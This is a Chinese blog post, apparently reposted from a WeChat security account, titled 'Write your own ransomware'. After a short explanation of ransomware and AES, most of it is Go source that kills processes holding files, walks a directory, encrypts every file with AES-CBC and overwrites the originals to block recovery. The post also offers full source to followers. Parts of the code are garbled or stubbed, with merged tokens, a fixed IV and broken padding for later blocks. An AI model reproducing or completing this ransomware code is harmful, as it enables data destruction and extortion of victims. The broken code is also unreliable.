编写属于自己的勒索病毒

admin 2024年8月10日11:43:35评论56 views字数 4016阅读13分23秒阅读模式

0x0什么是勒索病毒

文件加密: 勒索病毒会加密受害者的文件,使其无法访问。只有攻击者拥有解密密钥,受害者才能够解锁文件。这些文件可能包括文档、照片、视频、数据库等重要数据

赎金要求: 攻击者会要求受害者支付一定金额的加密货币(如比特币)作为赎金,以获取解锁文件或解密密钥。这通常是通过匿名方式进行的,难以追踪

本文从勒索病毒的角度去剖析如何加密文件or解密文件

文章末尾提供加密源码

文章末尾提供加密源码

文章末尾提供加密源码

文章末尾提供加密源码

文章末尾提供加密源码

0x1选择加密算法

首先,需要选择一个适当的加密算法。常见的对称加密算法包括AES(高级加密标准),而非对称加密算法包括RSA和ECC或者AES。每种算法都有其自己的特点和用途,选择时应根据安全性需求和性能考虑做出决策。由于笔者在读研究生的时候,研究的是AES的算法方向,故本文采用AES来进行演示。

0x2关于AES

  1. 对称加密算法:AES是一种对称加密算法,这意味着相同的密钥用于加密和解密数据。因此,在使用AES进行通信或数据保护时,双方必须共享相同的密钥。
  2. 块加密算法:AES按照固定大小的数据块(128位,即16字节)来进行加密。这意味着要加密的数据必须被分割成块,并且每个块都会被单独加密。
  3. 不同的密钥长度:AES支持不同长度的密钥,包括128位、192位和256位密钥。较长的密钥通常提供更高的安全性,但也需要更多的计算资源。

0x3加密文件

加密文件主要的步骤和注意的点有以下几点:

a.文件是否被占用

b.文件的大小如果太大,无法一次性读入内存应该如何解决

`

func AESEncrypt(input io.Reader, output io.Writer, key []byte, blockSize int) error {
 // 创建AES块加密器
 block, err := aes.NewCipher(key)
 if err != nil {
  return err
 }

// 创建初始化向量(IV),在这里使用了简单的固定IV
iv := make([]byte, aes.BlockSize)
for i := 0; i < aes.BlockSize; i++ {
if i%2 == 0 {
iv[i] = 0xFF
else {
iv[i] = 0xAA
}
}

// 创建AES加密模式(CBC模式)
mode := cipher.NewCBCEncrypter(block, iv)

// 创建数据缓冲区
buffer := make([]byte, blockSize)
paddedBuffer := make([]bytelen(buffer))

// 逐块读取输入数据,并加密后写入输出
n, err := input.Read(buffer)
if err != nil && err != io.EOF {
return err
}

if n > 0 && n <= blockSize {
paddedBuffer = PKCS7Padding(buffer[:n], aes.BlockSize)

encrypted := make([]bytelen(paddedBuffer))
mode.CryptBlocks(encrypted, paddedBuffer)

_, err = output.Write(encrypted)
if err != nil {
return err
}
}

for err == nil {
n, err = input.Read(buffer)
if err != nil && err != io.EOF {
return err
}

if n > 0 {
encrypted := make([]bytelen(buffer))
mode.CryptBlocks(encrypted, buffer)

_, err = output.Write(encrypted)
if err != nil {
return err
}
}
}

if err == io.EOF {
return nil
}

return err
}

`

PKCS7Padding 函数用于对数据进行PKCS7填充,以确保数据块大小为指定块大小的整数倍
func PKCS7Padding(data []byte, blockSize int) []byte {
 padding := blockSize - (len(data) % blockSize)
 padtext := bytes.Repeat([]byte{byte(padding)}, padding)
 return append(data, padtext...)
}
加密文件主函数,传入一个文件的路径
func EncryptFile(filename string, key []byte, blockSize int) error {
 fmt.Println("Running:", filename)

// 检查文件是否被占用
_, pid, err := isFileInUse(filename)
if err != nil {
fmt.Println("Error checking file usage:", err)
return err
}

if pid != 0 {
// 终止占用文件的进程
err = terminateProcess(pid)
time.Sleep(1 * time.Second)
if err != nil {
fmt.Println("Error terminating process:", err)
}
}

// 等待一段时间以确保进程已经完全结束

// 打开要加密的文件
file, err := os.Open(filename)
if err != nil {
return err
}
defer file.Close()

// 创建缓冲区以保存加密后的内容
buffer := bytes.Buffer{}

// 执行加密
err = AESEncrypt(file, &buffer, key, blockSize)
if err != nil {
return err
}

// 截断原始文件
err = os.Truncate(filename, 0)
if err != nil {
return err
}

// 以写模式打开原始文件 
sourceFile, err := os.OpenFile(filename, os.O_RDWR|os.O_TRUNC, 0644)
if err != nil {
return err
}
defer sourceFile.Close()

// 将加密后的内容写回原始文件,直接重写源文件,防止文件恢复
_, err = io.Copy(sourceFile, &buffer)
if err != nil {
return err
}

return nil
}

检查文件是否被占用函数
func isFileInUse(filename string) (boolint32, error) {
 //
 return false0nil
}
找到占用文件的进程
func findProcessUsingFile(filename string) (int32, error) {
 \

return 0, nil
}

然后kill
func terminateProcess(pid int32) error {
 //

return p.Kill()
}

EncryptDirectory 函数用于加密指定目录下的所有文件(不包括子目录中的文件)。
func EncryptDirectory(directory string, key []byte, blockSize int) error {
 err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
  if err != nil {
   return err
  }

// 跳过子目录
if info.IsDir() {
return nil
}

// 加密每个文件
err = EncryptFile(path, key, blockSize)
if err != nil {
return err
}

return nil
})

if err != nil {
return err
}

return nil
}

程序的入口
func main() {
 if len(os.Args) < 2 {
  fmt.Println("Usage: go run main.go <directory>")
  return
 }

key := []byte(""// 自定义加密密钥
directory := os.Args[1]           // 命令行参数中的目录路径

// 加密目录
err := EncryptDirectory(directory, key, 4*1024*1024)
if err != nil {
fmt.Println("Error encrypting directory:", err)
}

fmt.Println("Encryption completed.")
}

0x4总结

1.其实回到勒索病毒的本身,不过是文件加密罢了。这篇文章注意也是为了揭开勒索病毒的层层面纱。

2.程序有许多不足。当服务器内存小于需要加密的文件时候,无法一次性加入内存。相信各位师傅已经有了解决的思路,例如分段读入内存,但这里会涉及到AES的填充和后续的对齐问题.

3.由于篇幅原因,无法将所有源码写出 。关注公众号回复"enc"获取源码

原文始发于微信公众号(CKCsec安全研究院):编写属于自己的勒索病毒

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月10日11:43:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   编写属于自己的勒索病毒https://cn-sec.com/archives/2001651.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息